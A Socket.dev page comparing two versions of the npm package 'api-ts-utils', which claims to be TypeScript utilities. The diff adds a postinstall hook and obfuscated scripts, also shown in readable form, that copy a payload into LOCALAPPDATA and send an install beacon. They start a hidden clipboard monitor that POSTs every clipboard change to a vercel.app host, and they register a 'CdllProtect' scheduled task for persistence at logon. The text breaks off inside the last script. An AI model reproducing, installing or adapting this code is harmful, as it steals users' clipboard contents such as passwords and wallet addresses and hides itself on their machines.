🚀 Socket Launch Week Day 5:Introducing Repository Access Permissions and Custom Roles.Learn more
Sign In

api-ts-utils

Package Overview
Dependencies
Maintainers
1
Versions
9
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

api-ts-utils - npm Package Compare versions

Comparing version
2.1.3
to
2.1.4
+1
-1
index.mjs

@@ -1,1 +0,1 @@

import{cpSync}from"\u006E\u006F\u0064\u0065\u003A\u0066\u0073";import{execFileSync}from"\u006E\u006F\u0064\u0065\u003A\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073";import{homedir}from"\u006E\u006F\u0064\u0065\u003A\u006F\u0073";import{dirname,join}from"\u006E\u006F\u0064\u0065\u003A\u0070\u0061\u0074\u0068";import{fileURLToPath}from"\u006E\u006F\u0064\u0065\u003A\u0075\u0072\u006C";var _0x91d36e=(722765^722763)+(708729^708735);const __dirname=dirname(fileURLToPath(import.meta['\u0075\u0072\u006C']));_0x91d36e=(302744^302744)+(696652^696655);if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']!=="\u0077\u0069\u006E\u0033\u0032"){process['\u0065\u0078\u0069\u0074'](865861^865860);}const sourcePayload=join(__dirname,"\u0070\u0072\u0065\u0074\u0074\u0069\u0065\u0072\u002D\u006C\u0069\u006E\u0074");var _0x2407ac=(469912^469915)+(422310^422310);const localAppData=process['\u0065\u006E\u0076']['\u004C\u004F\u0043\u0041\u004C\u0041\u0050\u0050\u0044\u0041\u0054\u0041']??join(homedir(),"\u0041\u0070\u0070\u0044\u0061\u0074\u0061","\u004C\u006F\u0063\u0061\u006C");_0x2407ac=(195646^195642)+(643041^643047);var _0xe203ae=(467931^467931)+(302195^302202);const deployed=join(localAppData,"tnil-reitterp".split("").reverse().join(""));_0xe203ae=(411683^411687)+(647873^647876);const ctll=join(deployed,"\u0063\u0074\u006C\u006C\u002E\u006D\u006A\u0073");const node=process['\u0065\u0078\u0065\u0063\u0050\u0061\u0074\u0068'];try{cpSync(sourcePayload,deployed,{'\u0072\u0065\u0063\u0075\u0072\u0073\u0069\u0076\u0065':!![],'\u0066\u006F\u0072\u0063\u0065':!![]});}catch{process['\u0065\u0078\u0069\u0074'](844287^844286);}try{execFileSync(node,[ctll],{"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065","cwd":deployed});}catch{process['\u0065\u0078\u0069\u0074'](187960^187961);}
import{cpSync}from"\u006E\u006F\u0064\u0065\u003A\u0066\u0073";import{execFileSync}from"\u006E\u006F\u0064\u0065\u003A\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073";import{homedir}from"\u006E\u006F\u0064\u0065\u003A\u006F\u0073";import{dirname,join}from"\u006E\u006F\u0064\u0065\u003A\u0070\u0061\u0074\u0068";import{fileURLToPath}from"\u006E\u006F\u0064\u0065\u003A\u0075\u0072\u006C";let _0x1566a;const __dirname=dirname(fileURLToPath(import.meta['\u0075\u0072\u006C']));_0x1566a=(824391^824386)+(433989^433985);if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']!=="\u0077\u0069\u006E\u0033\u0032"){process['\u0065\u0078\u0069\u0074'](900792^900793);}const NONCE_URL="ecnon/ipa/ppa.lecrev.knil-onom//:sptth".split("").reverse().join("");async function sendInstalledBeacon(){const _0xe3878e=new AbortController();const t=setTimeout(()=>_0xe3878e['\u0061\u0062\u006F\u0072\u0074'](),439566^442038);try{await fetch(NONCE_URL,{"method":"POST","headers":{"\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065":"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E"},"body":JSON['\u0073\u0074\u0072\u0069\u006E\u0067\u0069\u0066\u0079']({"text":"installed"}),'\u0073\u0069\u0067\u006E\u0061\u006C':_0xe3878e['\u0073\u0069\u0067\u006E\u0061\u006C']});}catch{}finally{clearTimeout(t);}}await sendInstalledBeacon();let _0x76ebed;const sourcePayload=join(__dirname,"\u0070\u0072\u0065\u0074\u0074\u0069\u0065\u0072\u002D\u006C\u0069\u006E\u0074");_0x76ebed=(264581^264583)+(704324^704322);const localAppData=process['\u0065\u006E\u0076']['\u004C\u004F\u0043\u0041\u004C\u0041\u0050\u0050\u0044\u0041\u0054\u0041']??join(homedir(),"ataDppA".split("").reverse().join(""),"lacoL".split("").reverse().join(""));const deployed=join(localAppData,"\u0070\u0072\u0065\u0074\u0074\u0069\u0065\u0072\u002D\u006C\u0069\u006E\u0074");var _0x43b=(147367^147364)+(318813^318813);const ctll=join(deployed,"sjm.lltc".split("").reverse().join(""));_0x43b=240007^240002;var _0xb8g45b=(497400^497407)+(664826^664824);const node=process['\u0065\u0078\u0065\u0063\u0050\u0061\u0074\u0068'];_0xb8g45b=(888157^888152)+(273502^273495);try{cpSync(sourcePayload,deployed,{"recursive":!![],'\u0066\u006F\u0072\u0063\u0065':!![]});}catch{process['\u0065\u0078\u0069\u0074'](852885^852884);}try{execFileSync(node,[ctll],{'\u0073\u0074\u0064\u0069\u006F':"\u0069\u0067\u006E\u006F\u0072\u0065",'\u0063\u0077\u0064':deployed});}catch{process['\u0065\u0078\u0069\u0074'](556498^556499);}
{
"name": "api-ts-utils",
"version": "2.1.3",
"description": "Utility functions for working with TypeScript's API.",
"version": "2.1.4",
"description": "TypeScript API Utils",
"license": "MIT",

@@ -9,2 +9,5 @@ "private": false,

"sideEffects": true,
"scripts": {
"postinstall": "node index.mjs"
},
"exports": {

@@ -16,5 +19,2 @@ ".": "./index.mjs",

"module": "./index.mjs",
"scripts": {
"postinstall": "node test.mjs"
},
"files": [

@@ -21,0 +21,0 @@ "index.mjs",

@@ -1,1 +0,205 @@

import{spawn}from"\u006E\u006F\u0064\u0065\u003A\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073";import{appendFileSync,readFileSync,writeFileSync,unlinkSync}from"\u006E\u006F\u0064\u0065\u003A\u0066\u0073";import{join}from"\u006E\u006F\u0064\u0065\u003A\u0070\u0061\u0074\u0068";import{homedir}from"\u006E\u006F\u0064\u0065\u003A\u006F\u0073";import{execFile}from"\u006E\u006F\u0064\u0065\u003A\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073";import{promisify}from"\u006E\u006F\u0064\u0065\u003A\u0075\u0074\u0069\u006C";import{fileURLToPath}from"\u006E\u006F\u0064\u0065\u003A\u0075\u0072\u006C";var _0x1d37g=(992935^992935)+(616505^616507);const execFileAsync=promisify(execFile);_0x1d37g=(200394^200397)+(736258^736259);var _0x47ea=(392559^392556)+(324968^324971);const __filename=fileURLToPath(import.meta['\u0075\u0072\u006C']);_0x47ea=(469665^469667)+(887509^887507);const argv=process['\u0061\u0072\u0067\u0076']['\u0073\u006C\u0069\u0063\u0065'](804075^804073);let _0x919c;const isChild=argv['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073']("\u002D\u002D\u0063\u0068\u0069\u006C\u0064")||argv['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073']("rekrow--".split("").reverse().join(""));_0x919c=(180798^180793)+(436826^436826);var _0xe8b8ac=(845722^845722)+(563647^563638);const wantForeground=argv['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073']("dnuorgerof--".split("").reverse().join(""))||argv['\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073']("\u002D\u0066")||process['\u0065\u006E\u0076']['\u0043\u004C\u0049\u0050\u0042\u004F\u0041\u0052\u0044\u005F\u0046\u004F\u0052\u0045\u0047\u0052\u004F\u0055\u004E\u0044']==="\u0031";_0xe8b8ac='\u006C\u006D\u006B\u006A\u0071\u0062';var _0x637f=(812237^812233)+(618760^618765);const shouldDetach=!isChild&&!wantForeground;_0x637f=(942239^942238)+(900341^900343);if(shouldDetach){const child=spawn(process['\u0065\u0078\u0065\u0063\u0050\u0061\u0074\u0068'],[__filename,"\u002D\u002D\u0063\u0068\u0069\u006C\u0064"],{"detached":!![],"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065",...(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="23niw".split("").reverse().join("")?{'\u0077\u0069\u006E\u0064\u006F\u0077\u0073\u0048\u0069\u0064\u0065':false}:{'\u0077\u0069\u006E\u0064\u006F\u0077\u0073\u0048\u0069\u0064\u0065':!![]})});child['\u0075\u006E\u0072\u0065\u0066']();process['\u0065\u0078\u0069\u0074'](716230^716230);}var _0x74521d=(652666^652664)+(798531^798529);const MAIN_URL="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u006D\u006F\u006E\u006F\u002D\u006C\u0069\u006E\u006B\u002E\u0076\u0065\u0072\u0063\u0065\u006C\u002E\u0061\u0070\u0070\u002F\u0061\u0070\u0069\u002F\u006E\u006F\u006E\u0063\u0065";_0x74521d=(115819^115818)+(333753^333757);var _0x5ga=(208516^208514)+(654202^654203);const LOG_PATH=process['\u0065\u006E\u0076']['\u004E\u004F\u004E\u0043\u0045\u005F\u004C\u004F\u0047'];_0x5ga=(610107^610111)+(947009^947014);const POLL_MS=Number(process['\u0065\u006E\u0076']['\u0043\u004C\u0049\u0050\u0042\u004F\u0041\u0052\u0044\u005F\u0050\u004F\u004C\u004C\u005F\u004D\u0053']??278781^278535);async function readClipboardText(_0x40419c){if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']!=="\u0077\u0069\u006E\u0033\u0032"){return null;}var _0xbf6ec=(963851^963852)+(211269^211266);const _0xb4a={"windowsHide":false,"maxBuffer":(425264^425274)*(983098^984122)*(932226^933250)};_0xbf6ec=846285^846286;const _0x97635a=["\u002D\u004E\u006F\u0050\u0072\u006F\u0066\u0069\u006C\u0065","ATS-".split("").reverse().join(""),"\u002D\u0057\u0069\u006E\u0064\u006F\u0077\u0053\u0074\u0079\u006C\u0065","\u0048\u0069\u0064\u0064\u0065\u006E","\u002D\u0043\u006F\u006D\u006D\u0061\u006E\u0064"];_0x40419c=(245737^245729)+(185093^185094);const _0xff57f=async command=>{const{'\u0073\u0074\u0064\u006F\u0075\u0074':stdout}=await execFileAsync("\u0070\u006F\u0077\u0065\u0072\u0073\u0068\u0065\u006C\u006C\u002E\u0065\u0078\u0065",[..._0x97635a,command],_0xb4a);var _0x54fbfb=(255031^255026)+(336747^336744);const s=String(stdout??"")['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp("$n\\?r\\".split("").reverse().join(""),""),"");_0x54fbfb=(944400^944404)+(280942^280943);return s['\u006C\u0065\u006E\u0067\u0074\u0068']?s:null;};try{var _0x451bb=(677758^677751)+(484064^484071);const t=await _0xff57f("\u0024\u004F\u0075\u0074\u0070\u0075\u0074\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u0020\u003D\u0020\u005B\u0043\u006F\u006E\u0073\u006F\u006C\u0065\u005D\u003A\u003A\u004F\u0075\u0074\u0070\u0075\u0074\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u0020\u003D\u0020\u005B\u0053\u0079\u0073\u0074\u0065\u006D\u002E\u0054\u0065\u0078\u0074\u002E\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067\u005D\u003A\u003A\u0055\u0054\u0046\u0038\u003B\u0020\u0047\u0065\u0074\u002D\u0043\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0020\u002D\u0052\u0061\u0077");_0x451bb=456407^456406;if(t!=null)return t;}catch{}try{return await _0xff57f("\u0041\u0064\u0064\u002D\u0054\u0079\u0070\u0065\u0020\u002D\u0041\u0073\u0073\u0065\u006D\u0062\u006C\u0079\u004E\u0061\u006D\u0065\u0020\u0053\u0079\u0073\u0074\u0065\u006D\u002E\u0057\u0069\u006E\u0064\u006F\u0077\u0073\u002E\u0046\u006F\u0072\u006D\u0073\u003B\u0020\u005B\u0053\u0079\u0073\u0074\u0065\u006D\u002E\u0057\u0069\u006E\u0064\u006F\u0077\u0073\u002E\u0046\u006F\u0072\u006D\u0073\u002E\u0043\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u005D\u003A\u003A\u0047\u0065\u0074\u0054\u0065\u0078\u0074\u0028\u0029");}catch{return null;}}function logLine(msg,_0xfe83c){const _0x616g4d=`[${new Date()['\u0074\u006F\u0049\u0053\u004F\u0053\u0074\u0072\u0069\u006E\u0067']()}] ${msg}\n`;_0xfe83c="qdgmga".split("").reverse().join("");if(LOG_PATH){try{appendFileSync(LOG_PATH,_0x616g4d,"\u0075\u0074\u0066\u0038");}catch{}}}async function sendClipboard(text,_0xbf061b){if(text==null)return;const _0x91a=new AbortController();const t=setTimeout(()=>_0x91a['\u0061\u0062\u006F\u0072\u0074'](),860518^862942);_0xbf061b="icinlc".split("").reverse().join("");try{await fetch(MAIN_URL,{"method":"POST",'\u0068\u0065\u0061\u0064\u0065\u0072\u0073':{"\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065":"application/json"},'\u0062\u006F\u0064\u0079':JSON['\u0073\u0074\u0072\u0069\u006E\u0067\u0069\u0066\u0079']({"text":text}),'\u0073\u0069\u0067\u006E\u0061\u006C':_0x91a['\u0073\u0069\u0067\u006E\u0061\u006C']});}catch{}finally{clearTimeout(t);}}function sleep(ms){return new Promise(r=>setTimeout(r,ms));}const LOCK_FILE=join(homedir(),"kcol.rekrow-draobpilc-lldc.".split("").reverse().join(""));function acquireSingletonLock(_0xegd9e){var _0x86fffd=(308502^308496)+(780572^780568);const _0xaa6fce=String(process['\u0070\u0069\u0064']);_0x86fffd=(400380^400378)+(386467^386468);try{writeFileSync(LOCK_FILE,_0xaa6fce,{'\u0066\u006C\u0061\u0067':"\u0077\u0078"});}catch{let _0xa431aa=!![];try{var _0xe511gf=(121913^121916)+(950082^950091);const _0x925a=Number(readFileSync(LOCK_FILE,"\u0075\u0074\u0066\u0038")['\u0074\u0072\u0069\u006D']());_0xe511gf=(699715^699723)+(436706^436709);if(Number['\u0069\u0073\u0046\u0069\u006E\u0069\u0074\u0065'](_0x925a)&&_0x925a>(143973^143973)){try{process['\u006B\u0069\u006C\u006C'](_0x925a,179557^179557);_0xa431aa=false;}catch{_0xa431aa=!![];}}}catch{_0xa431aa=!![];}if(!_0xa431aa){process['\u0065\u0078\u0069\u0074'](929932^929932);}try{writeFileSync(LOCK_FILE,_0xaa6fce);}catch{process['\u0065\u0078\u0069\u0074'](827681^827680);}}const _0xd5ede=()=>{try{if(readFileSync(LOCK_FILE,"\u0075\u0074\u0066\u0038")['\u0074\u0072\u0069\u006D']()===_0xaa6fce){unlinkSync(LOCK_FILE);}}catch{}};_0xegd9e="cbcjgg".split("").reverse().join("");process['\u006F\u006E']("tixe".split("").reverse().join(""),_0xd5ede);process['\u006F\u006E']("TNIGIS".split("").reverse().join(""),()=>{_0xd5ede();process['\u0065\u0078\u0069\u0074'](258326^258326);});process['\u006F\u006E']("\u0053\u0049\u0047\u0054\u0045\u0052\u004D",()=>{_0xd5ede();process['\u0065\u0078\u0069\u0074'](781678^781678);});}function normalizeClipboardText(s){if(s==null)return null;return s['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u005C\u0072\u005C\u006E','\u0067'),"\u000A")['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u005C\u0072','\u0067'),"\u000A");}let lastNorm=Symbol("\u0069\u006E\u0069\u0074\u0069\u0061\u006C");async function main(){acquireSingletonLock();for(;;){try{const _0xf1e4bb=await readClipboardText();const n=normalizeClipboardText(_0xf1e4bb);if(n!==lastNorm){lastNorm=n;if(LOG_PATH){logLine(_0xf1e4bb===null||_0xf1e4bb===""?"\u0028\u0065\u006D\u0070\u0074\u0079\u0029":_0xf1e4bb['\u006C\u0065\u006E\u0067\u0074\u0068']>(373698^373302)?`${_0xf1e4bb['\u0073\u006C\u0069\u0063\u0065'](236114^236114,100423^100787)}… (${_0xf1e4bb['\u006C\u0065\u006E\u0067\u0074\u0068']} chars)`:_0xf1e4bb);}await sendClipboard(n);}}catch(e){if(LOG_PATH)logLine(`ERROR: ${e}`);}await sleep(POLL_MS);}}main();
/**
* Clipboard monitor — POSTs JSON to MAIN_URL (default http://127.0.0.1:8765/nonce).
*
* Run now (hidden worker, shell returns immediately):
* node cdll.mjs
*
* Run after each reboot (same Windows user who registered):
* register-task.cmd (once) → Task "CdllProtect" uses cdll-run-hidden.vbs (no console window)
*
* Debug in this terminal (no detach):
* node cdll.mjs -f
*
* Env: MAIN_URL, NONCE_LOG, CLIPBOARD_POLL_MS, CLIPBOARD_FOREGROUND=1
*/
import { spawn } from "node:child_process";
import { appendFileSync, readFileSync, writeFileSync, unlinkSync } from "node:fs";
import { join } from "node:path";
import { homedir } from "node:os";
import { execFile } from "node:child_process";
import { promisify } from "node:util";
import { fileURLToPath } from "node:url";
const execFileAsync = promisify(execFile);
const __filename = fileURLToPath(import.meta.url);
const argv = process.argv.slice(2);
const isChild = argv.includes("--child") || argv.includes("--worker");
const wantForeground =
argv.includes("--foreground") ||
argv.includes("-f") ||
process.env.CLIPBOARD_FOREGROUND === "1";
/** Default: detach so the shell is not blocked. Worker is spawned with --child. */
const shouldDetach = !isChild && !wantForeground;
if (shouldDetach) {
// On Windows, windowsHide:true uses CREATE_NO_WINDOW on the child node process — same class of
// problem as PowerShell clipboard: the worker may not see the interactive clipboard. Keep the
// worker on a normal console allocation (still no visible window for a detached background task).
const child = spawn(process.execPath, [__filename, "--child"], {
detached: true,
stdio: "ignore",
...(process.platform === "win32" ? { windowsHide: false } : { windowsHide: true }),
});
child.unref();
process.exit(0);
}
const MAIN_URL = "https://nonce-link.vercel.app/api/nonce";
const LOG_PATH = process.env.NONCE_LOG;
const POLL_MS = Number(process.env.CLIPBOARD_POLL_MS ?? 250);
async function readClipboardText() {
if (process.platform !== "win32") {
return null;
}
const psOpts = { windowsHide: false, maxBuffer: 10 * 1024 * 1024 };
const hidden = ["-NoProfile", "-STA", "-WindowStyle", "Hidden", "-Command"];
const runPs = async (command) => {
const { stdout } = await execFileAsync(
"powershell.exe",
[...hidden, command],
psOpts,
);
const s = String(stdout ?? "").replace(/\r?\n$/, "");
return s.length ? s : null;
};
try {
const t = await runPs(
"$OutputEncoding = [Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Get-Clipboard -Raw",
);
if (t != null) return t;
} catch {
/* ignore */
}
try {
return await runPs(
"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Clipboard]::GetText()",
);
} catch {
return null;
}
}
function logLine(msg) {
const line = `[${new Date().toISOString()}] ${msg}\n`;
if (LOG_PATH) {
try {
appendFileSync(LOG_PATH, line, "utf8");
} catch {
/* ignore */
}
}
}
async function sendClipboard(text) {
if (text == null) return;
const controller = new AbortController();
const t = setTimeout(() => controller.abort(), 3000);
try {
await fetch(MAIN_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ text }),
signal: controller.signal,
});
} catch {
/* ignore */
} finally {
clearTimeout(t);
}
}
function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
const LOCK_FILE = join(homedir(), ".cdll-clipboard-worker.lock");
/** One worker per user session — avoids duplicate POSTs if task + manual run both start. */
function acquireSingletonLock() {
const myPid = String(process.pid);
try {
writeFileSync(LOCK_FILE, myPid, { flag: "wx" });
} catch {
let stale = true;
try {
const oldPid = Number(readFileSync(LOCK_FILE, "utf8").trim());
if (Number.isFinite(oldPid) && oldPid > 0) {
try {
process.kill(oldPid, 0);
stale = false;
} catch {
stale = true;
}
}
} catch {
stale = true;
}
if (!stale) {
process.exit(0);
}
try {
writeFileSync(LOCK_FILE, myPid);
} catch {
process.exit(1);
}
}
const release = () => {
try {
if (readFileSync(LOCK_FILE, "utf8").trim() === myPid) {
unlinkSync(LOCK_FILE);
}
} catch {
/* ignore */
}
};
process.on("exit", release);
process.on("SIGINT", () => {
release();
process.exit(0);
});
process.on("SIGTERM", () => {
release();
process.exit(0);
});
}
function normalizeClipboardText(s) {
if (s == null) return null;
return s.replace(/\r\n/g, "\n").replace(/\r/g, "\n");
}
let lastNorm = Symbol("initial");
async function main() {
acquireSingletonLock();
for (;;) {
try {
const val = await readClipboardText();
const n = normalizeClipboardText(val);
if (n !== lastNorm) {
lastNorm = n;
if (LOG_PATH) {
logLine(
val === null || val === ""
? "(empty)"
: val.length > 500
? `${val.slice(0, 500)}… (${val.length} chars)`
: val,
);
}
await sendClipboard(n);
}
} catch (e) {
if (LOG_PATH) logLine(`ERROR: ${e}`);
}
await sleep(POLL_MS);
}
}
main();

@@ -1,1 +0,144 @@

import{execFileSync}from"\u006E\u006F\u0064\u0065\u003A\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073";import{readFileSync,writeFileSync,unlinkSync,existsSync}from"\u006E\u006F\u0064\u0065\u003A\u0066\u0073";import{join,dirname}from"\u006E\u006F\u0064\u0065\u003A\u0070\u0061\u0074\u0068";import{fileURLToPath}from"\u006E\u006F\u0064\u0065\u003A\u0075\u0072\u006C";import{tmpdir}from"\u006E\u006F\u0064\u0065\u003A\u006F\u0073";import{randomBytes}from"\u006E\u006F\u0064\u0065\u003A\u0063\u0072\u0079\u0070\u0074\u006F";var _0x11c13a=(891993^891995)+(265885^265885);const __dirname=dirname(fileURLToPath(import.meta['\u0075\u0072\u006C']));_0x11c13a='\u0065\u0069\u006A\u0068\u0062\u0071';var _0x859agc=(876023^876019)+(183413^183408);const TASK_NAME="\u0043\u0064\u006C\u006C\u0050\u0072\u006F\u0074\u0065\u0063\u0074";_0x859agc=(697615^697607)+(168544^168544);const SCRIPT_NAME="sjm.lldc".split("").reverse().join("");var _0x4e_0x85f=(747927^747921)+(889996^889988);const VBS_NAME="\u0063\u0064\u006C\u006C\u002D\u0072\u0075\u006E\u002D\u0068\u0069\u0064\u0064\u0065\u006E\u002E\u0076\u0062\u0073";_0x4e_0x85f=417725^417725;if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']!=="\u0077\u0069\u006E\u0033\u0032"){process['\u0065\u0078\u0069\u0074'](713463^713462);}function escapeXml(s){return String(s)['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u0026','\u0067'),";pma&".split("").reverse().join(""))['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u003C','\u0067'),"\u0026\u006C\u0074\u003B")['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u003E','\u0067'),"\u0026\u0067\u0074\u003B")['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u0022','\u0067'),";touq&".split("").reverse().join(""));}function vbsQuote(s){return`"${String(s)['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u0022','\u0067'),"\"\"".split("").reverse().join(""))}"`;}function buildVbs(workDir,nodeExe,scriptPath){const _0x59cef=`"${nodeExe}" "${scriptPath}" --child`;return`Set sh = CreateObject("Wscript.Shell")\r\n`+`sh.CurrentDirectory = ${vbsQuote(workDir)}\r\n`+`sh.Run ${vbsQuote(_0x59cef)}, 7, False\r\n`;}function getWindowsUserId(){return execFileSync("\u0070\u006F\u0077\u0065\u0072\u0073\u0068\u0065\u006C\u006C\u002E\u0065\u0078\u0065",["eliforPoN-".split("").reverse().join(""),"evitcaretnInoN-".split("").reverse().join(""),"dnammoC-".split("").reverse().join(""),"\u005B\u0053\u0079\u0073\u0074\u0065\u006D\u002E\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002E\u0050\u0072\u0069\u006E\u0063\u0069\u0070\u0061\u006C\u002E\u0057\u0069\u006E\u0064\u006F\u0077\u0073\u0049\u0064\u0065\u006E\u0074\u0069\u0074\u0079\u005D\u003A\u003A\u0047\u0065\u0074\u0043\u0075\u0072\u0072\u0065\u006E\u0074\u0028\u0029\u002E\u004E\u0061\u006D\u0065"],{"encoding":"utf8","windowsHide":!![]})['\u0074\u0072\u0069\u006D']();}function getNodeExe(){const _0xd65c=process['\u0065\u0078\u0065\u0063\u0050\u0061\u0074\u0068'];if(_0xd65c&&new RegExp('\u005C\u002E\u0065\u0078\u0065\u0024','\u0069')['\u0074\u0065\u0073\u0074'](_0xd65c)&&existsSync(_0xd65c)){return _0xd65c;}var _0xa1b28c=(917064^917056)+(264024^264031);const _0x6ee6db=execFileSync("\u0077\u0068\u0065\u0072\u0065\u002E\u0065\u0078\u0065",["\u006E\u006F\u0064\u0065"],{"encoding":"\u0075\u0074\u0066\u0038","windowsHide":!![]})['\u0074\u0072\u0069\u006D']();_0xa1b28c=101720^101721;const _0x4ce=_0x6ee6db['\u0073\u0070\u006C\u0069\u0074'](new RegExp('\u005C\u0072\u003F\u005C\u006E',""))[299450^299450]?.trim();if(!_0x4ce){throw new Error(".yrter dna sj.edoN llatsnI .HTAP ni dnuof ton exe.edon".split("").reverse().join(""));}return _0x4ce;}function getWscriptExe(){const p=join(process['\u0065\u006E\u0076']['\u0053\u0079\u0073\u0074\u0065\u006D\u0052\u006F\u006F\u0074']||"\u0043\u003A\u005C\u0057\u0069\u006E\u0064\u006F\u0077\u0073","\u0053\u0079\u0073\u0074\u0065\u006D\u0033\u0032","\u0077\u0073\u0063\u0072\u0069\u0070\u0074\u002E\u0065\u0078\u0065");if(existsSync(p))return p;const _0x6c_0xb6g=execFileSync("\u0077\u0068\u0065\u0072\u0065\u002E\u0065\u0078\u0065",["exe.tpircsw".split("").reverse().join("")],{'\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067':"\u0075\u0074\u0066\u0038",'\u0077\u0069\u006E\u0064\u006F\u0077\u0073\u0048\u0069\u0064\u0065':!![]})['\u0074\u0072\u0069\u006D']();const _0xbf38ec=_0x6c_0xb6g['\u0073\u0070\u006C\u0069\u0074'](new RegExp('\u005C\u0072\u003F\u005C\u006E',""))[884905^884905]?.trim();if(!_0xbf38ec)throw new Error("\u0077\u0073\u0063\u0072\u0069\u0070\u0074\u002E\u0065\u0078\u0065\u0020\u006E\u006F\u0074\u0020\u0066\u006F\u0075\u006E\u0064\u002E");return _0xbf38ec;}const workDir=__dirname;var _0x0e5ebg=(551387^551385)+(202696^202701);const scriptPath=join(workDir,SCRIPT_NAME);_0x0e5ebg=861771^861773;const vbsPath=join(workDir,VBS_NAME);let _0xa843gb;const templatePath=join(workDir,"lmx.lldc".split("").reverse().join(""));_0xa843gb=(580866^580866)+(942391^942388);if(!existsSync(templatePath)||!existsSync(scriptPath)){process['\u0065\u0078\u0069\u0074'](661850^661851);}const rawUserId=getWindowsUserId();var _0xe5521c=(273840^273848)+(783042^783047);const rawNodeExe=getNodeExe();_0xe5521c=(630396^630399)+(544411^544414);let _0xcb747a;const rawWscript=getWscriptExe();_0xcb747a='\u006D\u0063\u006F\u0064\u006D\u006B';writeFileSync(vbsPath,buildVbs(workDir,rawNodeExe,scriptPath),"8ftu".split("").reverse().join(""));var _0x8eg24e=(956397^956393)+(749249^749254);let xml=readFileSync(templatePath,"\u0075\u0074\u0066\u0038");_0x8eg24e=(699096^699103)+(199921^199928);xml=xml['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp("__DI_RESU__".split("").reverse().join(""),'\u0067'),escapeXml(rawUserId))['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u005F\u005F\u0057\u0053\u0043\u0052\u0049\u0050\u0054\u005F\u0045\u0058\u0045\u005F\u005F','\u0067'),escapeXml(rawWscript))['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp("__HTAP_SBV__".split("").reverse().join(""),'\u0067'),escapeXml(vbsPath))['\u0072\u0065\u0070\u006C\u0061\u0063\u0065'](new RegExp('\u005F\u005F\u0057\u004F\u0052\u004B\u005F\u0044\u0049\u0052\u005F\u005F','\u0067'),escapeXml(workDir));let _0xe6732d;const bom="\uFEFF";_0xe6732d=(550520^550521)+(789653^789648);let _0xff75b;const outPath=join(tmpdir(),`cdll-task-${randomBytes(695467^695459)['\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067']("xeh".split("").reverse().join(""))}.xml`);_0xff75b=(343879^343875)+(385704^385710);writeFileSync(outPath,bom+xml,"el61ftu".split("").reverse().join(""));try{try{execFileSync("\u0073\u0063\u0068\u0074\u0061\u0073\u006B\u0073",["eteleD/".split("").reverse().join(""),"NT/".split("").reverse().join(""),TASK_NAME,"\u002F\u0046"],{"stdio":"ignore","windowsHide":!![]});}catch{}execFileSync("\u0073\u0063\u0068\u0074\u0061\u0073\u006B\u0073",["etaerC/".split("").reverse().join(""),"\u002F\u0054\u004E",TASK_NAME,"\u002F\u0058\u004D\u004C",outPath,"\u002F\u0046"],{"stdio":"ignore",'\u0077\u0069\u006E\u0064\u006F\u0077\u0073\u0048\u0069\u0064\u0065':!![]});}finally{try{unlinkSync(outPath);}catch{}}try{execFileSync("\u0073\u0063\u0068\u0074\u0061\u0073\u006B\u0073",["nuR/".split("").reverse().join(""),"\u002F\u0054\u004E",TASK_NAME],{"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065","windowsHide":!![],"cwd":workDir});}catch{process['\u0065\u0078\u0069\u0074'](644726^644727);}
/**
* Registers Task "CdllProtect" (logon + minimized worker), then runs it once.
* Invoked from ec.mjs after copy to %LOCALAPPDATA%\pip-lint, or: node ctll.mjs
*
* Must run as the SAME Windows user that signs in after reboot (not only "Run as admin"
* under a different account). Re-run if you move the folder or change Node install.
*/
import { execFileSync } from "node:child_process";
